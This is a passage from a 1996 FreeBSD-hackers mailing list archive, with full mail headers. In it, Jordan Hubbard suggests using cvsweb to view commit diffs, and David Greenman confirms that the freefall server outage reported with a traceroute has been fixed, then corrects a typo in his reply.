owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > I often would like to know more about problems certain commit might fix, > and see what modifications were committed. Could it be possible to create > alternate commit lists which would receive detailed commit messages ? > Getting a full CVS diff would be helpful, if nothing else. Uh, what's wrong with simply subscribing to a cvs-* list and then cross-referencing the revision numbers mentioned with the http://www.freebsd.org/cgi-bin/cvsweb CGI script to get the diffs you want? Jordan From owner-freebsd-hackers Sat Jun 29 22:08:15 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id WAA00806 for hackers-outgoing; Sat, 29 Jun 1996 22:08:15 -0700 (PDT) Received: from root.com (implode.root.com [198.145.90.17]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id WAA00801 for ; Sat, 29 Jun 1996 22:08:10 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by root.com (8.7.5/8.6.5) with SMTP id WAA10125; Sat, 29 Jun 1996 22:08:00 -0700 (PDT) Message-Id: <199606300508.WAA10125@root.com> X-Authentication-Warning: implode.root.com: Host localhost [127.0.0.1] didn't use HELO protocol To: Andreas Klemm cc: hackers@FreeBSD.ORG Subject: Re: cvs.freebsd.org down ??? In-reply-to: Your message of "Sun, 30 Jun 1996 00:24:04 +0200." From: David Greenman Reply-To: davidg@root.com Date: Sat, 29 Jun 1996 22:08:00 -0700 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >traceroute to freefall.freebsd.org (204.216.27.4), 30 hops max, 40 byte packets > 1 gtn-isdn (194.77.2.33) 28.515 ms 28.729 ms 27.858 ms > 2 192.168.1.2 (192.168.1.2) 32.154 ms 30.269 ms 42.480 ms > 3 gtnne-cisco1.dpn.de (194.77.0.1) 33.808 ms 32.195 ms 32.848 ms > 4 Vienna3.VA.ALTER.NET (137.39.156.245) 494.032 ms 534.910 ms 483.298 ms > 5 Fddi0/0.Vienna6.VA.Alter.Net (137.39.11.11) 456.971 ms * * > 6 Hssi2/0.CR1.DCA1.Alter.Net (137.39.100.77) 399.209 ms 465.345 ms 378.672 ms > 7 101.Hssi4/0.CR1.SCL1.Alter.Net (137.39.30.18) 464.306 ms 407.932 ms * > 8 Hssi3/0.San-Jose3.CA.Alter.Net (137.39.100.1) 555.933 ms 461.657 ms 444.903 ms > 9 T3-CRL-SFO-01-H1/0.US.CRL.NET (198.32.136.10) 471.570 ms 483.397 ms * >10 T3-CRL-SFO-01-H3/0.US.CRL.NET (149.20.64.19) 855.722 ms 554.694 ms 671.614 ms >11 E0-CRL-SFO-02-E0/0.US.CRL.NET (165.113.55.2) 488.079 ms 462.077 ms 456.654 ms >12 * T1-CDROM-00-EX.US.CRL.NET (165.113.118.2) 341.916 ms 492.801 ms >13 * * * That would be freefall, and yes, it was down. It's up now and you should have any more problems. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-hackers Sat Jun 29 22:24:31 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id UAA10765 for hackers-outgoing; Sat, 29 Jun 1996 20:40:39 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id UAA10725 for ; Sat, 29 Jun 1996 20:40:24 -0700 (PDT) Received: from time.cdrom.com (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with ESMTP id UAA13319; Sat, 29 Jun 1996 20:38:30 -0700 (PDT) To: Heikki Suonsivu cc: freebsd-hackers@FreeBSD.org Subject: Re: Alternate lists for more verbose CVS commit messages? In-reply-to: Your message of "Sat, 29 Jun 1996 23:40:57 +0300." <199606292040.XAA19042@cantina.clinet.fi> Date: Sat, 29 Jun 1996 20:38:30 -0700 Message-ID: <13317.836105910@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > I often would like to know more about problems certain commit might fix, > and see what modifications were committed. Could it be possible to create > alternate commit lists which would receive detailed commit messages ? > Getting a full CVS diff would be helpful, if nothing else. Uh, what's wrong with simply subscribing to a cvs-* list and then cross-referencing the revision numbers mentioned with the http://www.freebsd.org/cgi-bin/cvsweb CGI script to get the diffs you want? Jordan From owner-freebsd-hackers Sat Jun 29 22:37:28 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id WAA02198 for hackers-outgoing; Sat, 29 Jun 1996 22:37:28 -0700 (PDT) Received: from root.com (implode.root.com [198.145.90.17]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id WAA02193 for ; Sat, 29 Jun 1996 22:37:26 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by root.com (8.7.5/8.6.5) with SMTP id WAA15399; Sat, 29 Jun 1996 22:37:23 -0700 (PDT) Message-Id: <199606300537.WAA15399@root.com> X-Authentication-Warning: implode.root.com: Host localhost [127.0.0.1] didn't use HELO protocol To: Andreas Klemm cc: hackers@FreeBSD.ORG Subject: Re: cvs.freebsd.org down ??? In-reply-to: Your message of "Sat, 29 Jun 1996 22:08:00 PDT." <199606300508.WAA10125@root.com> From: David Greenman Reply-To: davidg@root.com Date: Sat, 29 Jun 1996 22:37:21 -0700 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >> 9 T3-CRL-SFO-01-H1/0.US.CRL.NET (198.32.136.10) 471.570 ms 483.397 ms * >>10 T3-CRL-SFO-01-H3/0.US.CRL.NET (149.20.64.19) 855.722 ms 554.694 ms 671.614 ms >>11 E0-CRL-SFO-02-E0/0.US.CRL.NET (165.113.55.2) 488.079 ms 462.077 ms 456.654 ms >>12 * T1-CDROM-00-EX.US.CRL.NET (165.113.118.2) 341.916 ms 492.801 ms >>13 * * * > > That would be freefall, and yes, it was down. It's up now and you should ^^^^^^ ...I meant "shouldn't", of course. :-) >have any more problems. > >-DG > >David Greenman >Core-team/Principal Architect, The FreeBSD Project